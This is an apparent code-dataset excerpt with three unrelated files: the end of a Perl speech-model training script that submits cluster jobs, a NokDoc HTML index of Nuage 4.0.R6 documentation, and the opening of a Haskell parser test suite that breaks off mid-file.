$im, $im_cfg, $om, $stats_list_file, $MINVAR, $ML_ESTIMATE_MODE, $mllt_flag, $split_flag); # Check the models were really created if (!(-e $om.".ph")) { die "Error in training, no models were written\n"; } # Remove the statistics files my $cur_file; foreach $cur_file (@stats_files) { chomp $cur_file; system("rm $cur_file.*"); } system("rm $stats_list_file"); # Read input from previously written model $im = $om; $im_cfg = $om.".cfg"; } return $im; } sub collect_stats { my $id = shift(@_); my $temp_dir = shift(@_); my $log_dir = shift(@_); my $model_base = shift(@_); my $cfg = shift(@_); my $stats_list_file = shift(@_); my $stats_mode = shift(@_); my $mllt_flag = shift(@_); my $batch_options = ""; my $spkc_switch = ""; my $bw_option = ""; my $mllt_option = ""; $bw_option = "-H" if ($USE_HMMNETS); $spkc_switch = "-S $SPKC_FILE" if ($SPKC_FILE ne ""); $mllt_option = "--mllt" if ($mllt_flag); my $cm = ClusterManager->new; $cm->{"identifier"} = $id; $cm->{"run_dir"} = $temp_dir; $cm->{"log_dir"} = $log_dir; $cm->{"run_time"} = 2000; if ($NUM_BATCHES > 0) { $cm->{"first_batch"} = 1; $cm->{"last_batch"} = $NUM_BATCHES; $cm->{"run_time"} = 239; } $cm->{"priority"} = $BATCH_PRIORITY; $cm->{"mem_req"} = $BATCH_MAX_MEM; $cm->{"failed_batch_retry_count"} = 1; $cm->{"exclude_nodes"} = $EXCLUDE_NODES; $batch_options = "-B $NUM_BATCHES -I \$BATCH" if ($NUM_BATCHES > 0); my $failed_batches_file = "${id}_failed_batches.lst"; unlink($failed_batches_file); $cm->submit("$BINDIR/stats -b $model_base -c $cfg -r $RECIPE $bw_option -o temp_stats_\$BATCH $stats_mode -F $FORWARD_BEAM -W $BACKWARD_BEAM -A $AC_SCALE -t $spkc_switch $batch_options -i $VERBOSITY $mllt_option\n". "if [ \"\$?\" -ne \"0\" ]; then echo \$BATCH >> $failed_batches_file; exit 1; fi\n", # Epilog script: "if [ -f ${id}_stats.gks ] ; then\n". " if [ ! -f ${id}_stats_list ] ; then\n". " echo ${id}_stats > ${id}_stats_list\n". " fi\n". " echo temp_stats_\$BATCH >> ${id}_stats_list\n". " l=`wc -l ${id}_stats_list | cut -f 1 -d ' '`\n". " s=`ls -1 temp_stats_*.lls | wc -l | cut -f 1 -d ' '`\n". " if [[ \$l -gt \$s || \$RUNNING_JOBS -eq 0 ]]; then\n". " $BINDIR/combine_stats -b $model_base -L ${id}_stats_list -o ${id}_stats\n". " if [ \"\$?\" -ne \"0\" ]; then rm ${id}_stats_list; rm temp_stats_\$BATCH.*; exit 1; fi\n". " for i in `tail -n +2 ${id}_stats_list`; do rm \$i.*; done\n". " rm ${id}_stats_list\n". " fi\n". "else\n". " mv temp_stats_\$BATCH.gks ${id}_stats.gks\n". " mv temp_stats_\$BATCH.mcs ${id}_stats.mcs\n". " mv temp_stats_\$BATCH.phs ${id}_stats.phs\n". " mv temp_stats_\$BATCH.lls ${id}_stats.lls\n". "fi\n"); die "Some batches failed (see $temp_dir/$failed_batches_file)\n" if (-e $failed_batches_file); # Write the list of statistics files system("echo ${id}_stats > $stats_list_file"); } sub estimate_model { my $log_dir = shift(@_); my $im = shift(@_); my $im_cfg = shift(@_); my $om = shift(@_); my $stats_list_file = shift(@_); my $minvar = shift(@_); my $estimate_mode = shift(@_); my $mllt_flag = shift(@_); my $split_flag = shift(@_); my $extra_options = ""; $extra_options = "--mllt $MLLT_MODULE_NAME" if ($mllt_flag); $extra_options = $extra_options." --mremove $GAUSS_REMOVE_THRESHOLD" if ($GAUSS_REMOVE_THRESHOLD > 0); if ($split_flag) { if ($SPLIT_TARGET_GAUSSIANS > 0) { $extra_options = $extra_options." --split --numgauss $SPLIT_TARGET_GAUSSIANS --maxmixgauss $SPLIT_MAX_GAUSSIANS"; $extra_options = $extra_options." --minocc $SPLIT_MIN_OCCUPANCY" if ($SPLIT_MIN_OCCUPANCY > 0); } else { $extra_options = $extra_options." --split --minocc $SPLIT_MIN_OCCUPANCY --maxmixgauss $SPLIT_MAX_GAUSSIANS"; } if (defined $SPLIT_ALPHA && $SPLIT_ALPHA > 0) { $extra_options = $extra_options." --splitalpha $SPLIT_ALPHA"; } } system("$BINDIR/estimate -b $im -c $im_cfg -L $stats_list_file -o $om -t -i $VERBOSITY --minvar $minvar $estimate_mode -s ${BASE_ID}_summary $extra_options > $log_dir/estimate.stdout 2> $log_dir/estimate.stderr"); } sub generate_hmmnet_files { my $im = shift(@_); my $temp_dir = shift(@_); my $new_temp_dir = "$temp_dir/hmmnets"; mkdir $new_temp_dir; chdir $new_temp_dir || die("Could not chdir to $new_temp_dir"); my $cm = ClusterManager->new; $cm->{"identifier"} = "hmmnets_${BASE_ID}"; $cm->{"run_dir"} = $new_temp_dir; $cm->{"log_dir"} = $new_temp_dir; $cm->{"run_time"} = 2000; $cm->{"mem_req"} = 1000; if ($NUM_BATCHES > 0) { $cm->{"first_batch"} = 1; $cm->{"last_batch"} = $NUM_BATCHES; $cm->{"run_time"} = 239; } $cm->{"failed_batch_retry_count"} = 1; $cm->{"exclude_nodes"} = $EXCLUDE_NODES; my $batch_options = ""; $batch_options = "-B $NUM_BATCHES -I \$BATCH" if ($NUM_BATCHES > 0); # Create hmmnets directly from PHN files, without lexicon # or alternative paths e.g. for silences: $cm->submit("$SCRIPTDIR/create_hmmnets.pl -n -o -r $RECIPE -b $im -T $new_temp_dir -D $BINDIR -s $SCRIPTDIR $batch_options"); chdir($temp_dir); } sub align { my $temp_dir = shift(@_); my $model = shift(@_); my $recipe = shift(@_); my $spkc_file = shift(@_); my $batch_options = ""; my $spkc_switch = ""; $spkc_switch = "-S $spkc_file" if ($spkc_file ne ""); my $new_temp_dir = "$temp_dir/align"; mkdir $new_temp_dir; chdir $new_temp_dir || die("Could not chdir to $new_temp_dir"); my $cm = ClusterManager->new; $cm->{"identifier"} = "align_${BASE_ID}"; $cm->{"run_dir"} = $new_temp_dir; $cm->{"log_dir"} = $new_temp_dir; $cm->{"mem_req"} = $BATCH_MAX_MEM; if ($NUM_BATCHES > 0) { $cm->{"first_batch"} = 1; $cm->{"last_batch"} = $NUM_BATCHES; } $cm->{"priority"} = $BATCH_PRIORITY; $cm->{"failed_batch_retry_count"} = 1; $cm->{"exclude_nodes"} = $EXCLUDE_NODES; $batch_options = "-B $NUM_BATCHES -I \$BATCH" if ($NUM_BATCHES > 0); $cm->submit("$BINDIR/align -b $model -c $model.cfg -r $recipe --swins $ALIGN_WINDOW --beam $ALIGN_BEAM --sbeam $ALIGN_SBEAM $spkc_switch $batch_options -i $VERBOSITY\n", ""); chdir($temp_dir); } sub align_hmmnets { my $temp_dir = shift(@_); my $model = shift(@_); my $recipe = shift(@_); my $spkc_file = shift(@_); my $batch_options = ""; my $spkc_switch = ""; $spkc_switch = "-S $spkc_file" if ($spkc_file ne ""); my $new_temp_dir = "$temp_dir/align"; mkdir $new_temp_dir; chdir $new_temp_dir || die("Could not chdir to $new_temp_dir"); my $cm = ClusterManager->new; $cm->{"identifier"} = "align_${BASE_ID}"; $cm->{"run_dir"} = $new_temp_dir; $cm->{"log_dir"} = $new_temp_dir; $cm->{"run_time"} = 2000; $cm->{"mem_req"} = $BATCH_MAX_MEM; if ($NUM_BATCHES > 0) { $cm->{"first_batch"} = 1; $cm->{"last_batch"} = $NUM_BATCHES; $cm->{"run_time"} = 239; } $cm->{"priority"} = $BATCH_PRIORITY; $cm->{"failed_batch_retry_count"} = 1; $cm->{"exclude_nodes"} = $EXCLUDE_NODES; $batch_options = "-B $NUM_BATCHES -I \$BATCH" if ($NUM_BATCHES > 0); $cm->submit("$BINDIR/stats -b $model -c $model.cfg -r $recipe -H --ml -M vit -a -n -o /dev/null $spkc_switch $batch_options -i $VERBOSITY\n", ""); } # This version runs Baum-Welch sub estimate_mllr { my $temp_dir = shift(@_); my $model = shift(@_); my $recipe = shift(@_); my $out_file = shift(@_); my $temp_out; my $batch_options = ""; my $cm = ClusterManager->new; $cm->{"identifier"} = "mllr_${BASE_ID}"; $cm->{"run_dir"} = $temp_dir; $cm->{"log_dir"} = $temp_dir; $cm->{"run_time"} = 2000; $cm->{"mem_req"} = $BATCH_MAX_MEM; if ($NUM_BATCHES > 0) { $cm->{"first_batch"} = 1; $cm->{"last_batch"} = $NUM_BATCHES; $cm->{"run_time"} = 239; } $cm->{"priority"} = $BATCH_PRIORITY; $cm->{"mem_req"} = $BATCH_MAX_MEM; # No large mem requirements $cm->{"failed_batch_retry_count"} = 1; $cm->{"exclude_nodes"} = $EXCLUDE_NODES; $temp_out = $out_file; if ($NUM_BATCHES > 1) { $batch_options = "-B $NUM_BATCHES -I \$BATCH"; $temp_out = "mllr_temp_\$BATCH.spkc"; } $cm->submit("$BINDIR/mllr -b $model -c $model.cfg -r $recipe -H -F $FORWARD_BEAM -W $BACKWARD_BEAM -M $MLLR_MODULE -S $SPKC_FILE -o $temp_out $batch_options -i $VERBOSITY\n", ""); if ($NUM_BATCHES > 1) { system("cat mllr_temp_*.spkc > $out_file") && die("mllr estimation failed"); } } # NOTE: Uses alignments sub estimate_vtln { my $temp_dir = shift(@_); my $model = shift(@_); my $recipe = shift(@_); my $out_file = shift(@_); my $temp_out; my $batch_options = ""; my $cm = ClusterManager->new; $cm->{"identifier"} = "vtln_${BASE_ID}.sh"; $cm->{"run_dir"} = $temp_dir; $cm->{"log_dir"} = $temp_dir; $cm->{"run_time"} = 2000; $cm->{"mem_req"} = $BATCH_MAX_MEM; if ($NUM_BATCHES > 0) { $cm->{"first_batch"} = 1; $cm->{"last_batch"} = $NUM_BATCHES; $cm->{"run_time"} = 239; } $cm->{"priority"} = $BATCH_PRIORITY; $cm->{"failed_batch_retry_count"} = 1; $cm->{"exclude_nodes"} = $EXCLUDE_NODES; $temp_out = $out_file; if ($NUM_BATCHES > 1) { $batch_options = "-B $NUM_BATCHES -I \$BATCH"; $temp_out = "vtln_temp_\$BATCH.spkc"; } $cm->submit("$BINDIR/vtln -b $model -c $model.cfg -r $recipe -O -v $VTLN_MODULE -S $SPKC_FILE -o $temp_out $batch_options -i $VERBOSITY\n", ""); if ($NUM_BATCHES > 1) { system("cat vtln_temp_*.spkc > $out_file") && die("vtln estimation failed"); } } # NOTE: Uses alignments sub estimate_dur_model { my $om = shift(@_); system("$BINDIR/dur_est -p $om.ph -r $RECIPE -O --gamma $om.dur --skip $DUR_SKIP_MODELS > $tempdir/dur_est.stdout 2> $tempdir/dur_est.stderr"); if (!(-e $om.".dur")) { die("Error estimating duration models\n"); } } sub cluster_gaussians { my $im = shift(@_); system("$BINDIR/gcluster -g $im.gk -o $im.gcl -C $NUM_GAUSS_CLUSTERS -i $VERBOSITY > $tempdir/gcluster.stdout 2> $tempdir/gcluster.stderr"); if (!(-e $im.".gcl")) { die("Error in Gaussian clustering\n"); } }
bsd-3-clause
nokdoc/nokdoc.github.io
docs/nuage/nokdoc__NUAGE__4.0.R6.html
21949
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags --> <meta name="description" content="NokDoc"> <meta name="author" content="Roman Dodin"> <link rel="shortcut icon" href="http://cdn.rawgit.com/hellt/nokdoc/82132b04b6ff4e5281e73787a4014231c67dbdf6/template/favicon.ico"> <title>NokDoc</title> <!-- JQuery and plugins --> <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script> <!-- Filtering and highlighting of search results https://jsfiddle.net/julmot/bs69vcqL/ --> <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/jquery.mark.min.js"></script> <!-- Latest compiled and minified CSS --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous"> <link href="https://rawgit.com/hellt/bc4fc51d6f1b9584605517f5c8d6a5a0/raw/0c95004aab0b7158fb8d0485439fa2ec11b049a1/jumbotron-narrow.css" rel="stylesheet" type="text/css" /> <!-- extra css for nokdoc.github.io only. Will contain extra css rules if needed --> <link href="https://nokdoc.github.io/static/css/docset1.css" rel="stylesheet" type="text/css" /> <style type="text/css"> td .glyphicon { font-size: 10px; top: 0px } body { font-family: "Nokia Pure Text","Helvetica Neue",Helvetica,Arial,sans-serif } mark { background: rgb(155, 212, 250); color: inherit; padding: 0; } </style> <!-- common scripts (like google analytics) applicable to nokdoc.github.io dir structure --> <script src="https://nokdoc.github.io/static/scripts/nokdoc_common.js"></script> </head> <body> <div class="container"> <div class="header clearfix"> <nav> <ul class="nav nav-pills pull-right"> <!-- <li role="presentation" class="active"><a href="#">Home</a></li> --> <li role="presentation"><a href="http://noshut.ru/2017/01/nokdoc/">About NokDoc</a></li> <!-- <li role="presentation"><a href="#">Contact</a></li> --> </ul> </nav> <h3 class="text-muted"><a href="https://nokdoc.github.io/">NokDoc</a></h3> </div> <div class="row"> <!-- <div class="page-header"> <h3>Documentation</h3> </div> --> <div class="col-md-12"> <h3>Documentation set for <code>NUAGE</code> release <code>4.0.R6</code> <small>generated on 2017/12/17</small> </h3> <input type="text" name="keyword" class="form-control input-sm" placeholder="Search term... Type in and press [ENTER]"> </div> <div class="col-md-12"> <table class="table table-striped"> <thead> <tr> <th>#</th> <th>Title</th> <th>Doc. ID</th> <th>Issue / Date</th> <th>Links</th> </tr> </thead> <tbody> <tr> <td>1</td> <td>Nuage 7850 VSA-8 Installation Guide</td> <td>3HE09895AAAK <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>1 / Nov 30, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE09895AAAK_V1_Nuage 7850 VSA-8 Installation Guide.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE09895AAAK/index.html">HTML </a> </td> </tr> <tr> <td>2</td> <td>Nuage 7850 VSA-VSG Installation Guide</td> <td>3HE10732AAAG <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>1 / Dec 22, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE10732AAAG_V1_Nuage 7850 VSA-VSG Installation Guide.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE10732AAAG/index.html">HTML </a> </td> </tr> <tr> <td>3</td> <td>Nuage 7850 VSA-VSG Installation Guide</td> <td>3HE10732AAAF <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>1 / Nov 30, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE10732AAAF_V1_Nuage 7850 VSA-VSG Installation Guide.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE10732AAAF/index.html">HTML </a> </td> </tr> <tr> <td>4</td> <td>Nuage VSP 4.0.R6 and Microsoft Hyper-V Integration Guide</td> <td>3HE11477AAAA <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>1 / Nov 30, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE11477AAAA_V1_Nuage VSP 4.0.R6 and Microsoft Hyper-V Integration Guide.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE11477AAAA/index.html">HTML </a> </td> </tr> <tr> <td>5</td> <td>Nuage VSP 4.0.R6 API Programming Guide</td> <td>3HE10733AAAF <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>1 / Nov 30, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE10733AAAF_V1_Nuage VSP 4.0.R6 API Programming Guide.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE10733AAAF/index.html">HTML </a> </td> </tr> <tr> <td>6</td> <td>Nuage VSP 4.0.R6 CloudStack 4.3 Plugin Guide</td> <td>3HE10726AAAF <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>1 / Nov 30, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE10726AAAF_V1_Nuage VSP 4.0.R6 CloudStack 4.3 Plugin Guide.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE10726AAAF/index.html">HTML </a> </td> </tr> <tr> <td>7</td> <td>Nuage VSP 4.0.R6 CloudStack 4.5 Plugin Guide</td> <td>3HE10727AAAF <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>1 / Nov 30, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE10727AAAF_V1_Nuage VSP 4.0.R6 CloudStack 4.5 Plugin Guide.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE10727AAAF/index.html">HTML </a> </td> </tr> <tr> <td>8</td> <td>Nuage VSP 4.0.R6 Install Guide</td> <td>3HE10724AAAF <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>1 / Nov 30, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE10724AAAF_V1_Nuage VSP 4.0.R6 Install Guide.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE10724AAAF/index.html">HTML </a> </td> </tr> <tr> <td>9</td> <td>Nuage VSP 4.0.R6 Kubernetes Integration Guide</td> <td>3HE11202AAAD <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>1 / Nov 30, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE11202AAAD_V1_Nuage VSP 4.0.R6 Kubernetes Integration Guide.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE11202AAAD/index.html">HTML </a> </td> </tr> <tr> <td>10</td> <td>Nuage VSP 4.0.R6 Modular Layer 2 Mechanism Driver VMs User Guide</td> <td>3HE10974AAAF <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>1 / Nov 30, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE10974AAAF_V1_Nuage VSP 4.0.R6 Modular Layer 2 Mechanism Driver VMs User Guide.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE10974AAAF/index.html">HTML </a> </td> </tr> <tr> <td>11</td> <td>Nuage VSP 4.0.R6 OpenShift Integration Guide</td> <td>3HE10933AAAF <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>1 / Nov 30, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE10933AAAF_V1_Nuage VSP 4.0.R6 OpenShift Integration Guide.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE10933AAAF/index.html">HTML </a> </td> </tr> <tr> <td>12</td> <td>Nuage VSP 4.0.R6 OpenStack Kilo Neutron Plugin User Guide</td> <td>3HE10730AAAF <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>1 / Nov 30, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE10730AAAF_V1_Nuage VSP 4.0.R6 OpenStack Kilo Neutron Plugin User Guide.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE10730AAAF/index.html">HTML </a> </td> </tr> <tr> <td>13</td> <td>Nuage VSP 4.0.R6 OpenStack Liberty Neutron Plugin User Guide</td> <td>3HE10731AAAF <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>1 / Nov 30, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE10731AAAF_V1_Nuage VSP 4.0.R6 OpenStack Liberty Neutron Plugin User Guide.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE10731AAAF/index.html">HTML </a> </td> </tr> <tr> <td>14</td> <td>Nuage VSP 4.0.R6 OpenStack Mitaka Neutron Plugin User Guide</td> <td>3HE10560AAAF <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>1 / Nov 30, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE10560AAAF_V1_Nuage VSP 4.0.R6 OpenStack Mitaka Neutron Plugin User Guide.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE10560AAAF/index.html">HTML </a> </td> </tr> <tr> <td>15</td> <td>Nuage VSP 4.0.R6 Release Notes-Issue-2</td> <td>3HE10725AAAF <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>2 / Nov 30, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE10725AAAF_V1_Nuage VSP 4.0.R6 Release Notes-Issue-2.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE10725AAAF/index.html">HTML </a> </td> </tr> <tr> <td>16</td> <td>Nuage VSP 4.0.R6 User Guide</td> <td>3HE10723AAAF <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>1 / Nov 30, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE10723AAAF_V1_Nuage VSP 4.0.R6 User Guide.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE10723AAAF/index.html">HTML </a> </td> </tr> <tr> <td>17</td> <td>Nuage VSP 4.0.R6 vCenter Plugin Guide</td> <td>3HE10736AAAF <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>1 / Nov 30, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE10736AAAF_V1_Nuage VSP 4.0.R6 vCenter Plugin Guide.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE10736AAAF/index.html">HTML </a> </td> </tr> <tr> <td>18</td> <td>Nuage VSP 4.0.R6.1 Install Guide</td> <td>3HE10724AAAG <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>1 / Dec 22, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE10724AAAG_V1_Nuage VSP 4.0.R6.1 Install Guide.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE10724AAAG/index.html">HTML </a> </td> </tr> <tr> <td>19</td> <td>Nuage VSP 4.0.R6.1 OpenStack Mitaka Neutron Plugin User Guide</td> <td>3HE10560AAAG <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>1 / Dec 22, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE10560AAAG_V1_Nuage VSP 4.0.R6.1 OpenStack Mitaka Neutron Plugin User Guide.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE10560AAAG/index.html">HTML </a> </td> </tr> <tr> <td>20</td> <td>Nuage VSP 4.0.R6.1 Release Notes</td> <td>3HE10725AAAG <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>1 / Dec 22, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE10725AAAG_V1_Nuage VSP 4.0.R6.1 Release Notes.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE10725AAAG/index.html">HTML </a> </td> </tr> <tr> <td>21</td> <td>Nuage VSP 4.0.R6.1 User Guide</td> <td>3HE10723AAAG <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>1 / Dec 22, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE10723AAAG_V1_Nuage VSP 4.0.R6.1 User Guide.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE10723AAAG/index.html">HTML </a> </td> </tr> <tr> <td>22</td> <td>Nuage VSS 4.0.R6.1 User Guide</td> <td>3HE11593AAAA <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>1 / Dec 22, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE11593AAAA_V1_Nuage VSS 4.0.R6.1 User Guide.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE11593AAAA/index.html">HTML </a> </td> </tr> <tr> <td>23</td> <td>Nuage VNS 4.0.R6 Install Guide</td> <td>3HE10720AAAF <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>1 / Nov 30, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE10720AAAF_V1_Nuage VNS 4.0.R6 Install Guide.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE10720AAAF/index.html">HTML </a> </td> </tr> <tr> <td>24</td> <td>Nuage VNS 4.0.R6 Release Notes-Issue-2</td> <td>3HE10718AAAF <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>2 / Nov 30, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE10718AAAF_V1_Nuage VNS 4.0.R6 Release Notes-Issue-2.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE10718AAAF/index.html">HTML </a> </td> </tr> <tr> <td>25</td> <td>Nuage VNS 4.0.R6 User Guide</td> <td>3HE10719AAAF <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>1 / Nov 30, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE10719AAAF_V1_Nuage VNS 4.0.R6 User Guide.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE10719AAAF/index.html">HTML </a> </td> </tr> <tr> <td>26</td> <td>Nuage VNS 4.0.R6.1 Install Guide</td> <td>3HE10720AAAG <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>1 / Dec 22, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE10720AAAG_V1_Nuage VNS 4.0.R6.1 Install Guide.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE10720AAAG/index.html">HTML </a> </td> </tr> <tr> <td>27</td> <td>Nuage VNS 4.0.R6.1 Release Notes-Issue-2</td> <td>3HE10718AAAG <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>2 / Dec 28, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE10718AAAG_V1_Nuage VNS 4.0.R6.1 Release Notes-Issue-2.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE10718AAAG/index.html">HTML </a> </td> </tr> <tr> <td>28</td> <td>Nuage VNS 4.0.R6.1 User Guide</td> <td>3HE10719AAAG <span class="glyphicon glyphicon-lock" aria-hidden="true"></span></td> <td>1 / Dec 22, 2016</td> <td> <a href="https://infoproducts.alcatel-lucent.com/aces/cgi-bin/dbaccessfilename.cgi/3HE10719AAAG_V1_Nuage VNS 4.0.R6.1 User Guide.pdf">PDF </a> <a href="https://infoproducts.alcatel-lucent.com/aces/htdocs/3HE10719AAAG/index.html">HTML </a> </td> </tr> </tbody> </table> </div> </div> <footer class="footer"> <p>&copy; 2017 <a href="https://www.linkedin.com/in/rdodin">Roman Dodin</a></p> </footer> </div> <!-- /container --> <!-- IE10 viewport hack for Surface/desktop Windows 8 bug --> <!-- <script src="../../assets/js/ie10-viewport-bug-workaround.js"></script> --> </body> </html>
bsd-3-clause
rodrigogribeiro/nanohaskell
test/Spec.hs
2533
{-# LANGUAGE FlexibleContexts #-} import Control.Monad.State import Test.Tasty import Test.Tasty.HUnit import qualified Text.Parsec as P hiding (State) import Text.Parsec.Indent import Parser.NanoHaskellParser import Parser.CoreParser import Syntax.Name import Syntax.NanoHaskell import Utils.Pretty main :: IO () main = defaultMain tests tests :: TestTree tests = testGroup "Tests" [parserPrettyTests] parserPrettyTests :: TestTree parserPrettyTests = testGroup "Parser and Pretty Printer Tests" [ testGroup "Literals" [ testCase "Char:" $ genSyntaxPrettyTest (LitChar 'c') literalP , testCase "String:" $ genSyntaxPrettyTest (LitString "abc") literalP , testGroup "Numbers:" [ testCase "Int positive:" $ genSyntaxPrettyTest (LitInt 23) literalP , testCase "Int negative:" $ genSyntaxPrettyTest (LitInt (-23)) literalP , testCase "Float:" $ genSyntaxPrettyTest (LitFloat (23.45)) literalP ] ] , testGroup "Expressions" [ testCase "Var:" $ genSyntaxPrettyTest (EVar (Name "xs")) atomP , testCase "Con:" $ genSyntaxPrettyTest (ECon (Name "Cons")) atomP , testCase "Lit:" $ genSyntaxPrettyTest (ELit (LitFloat (3.14))) atomP , testCase "Lam:" $ genSyntaxPrettyTest (ELam (Name "x") (EVar (Name "x"))) lamP -- , 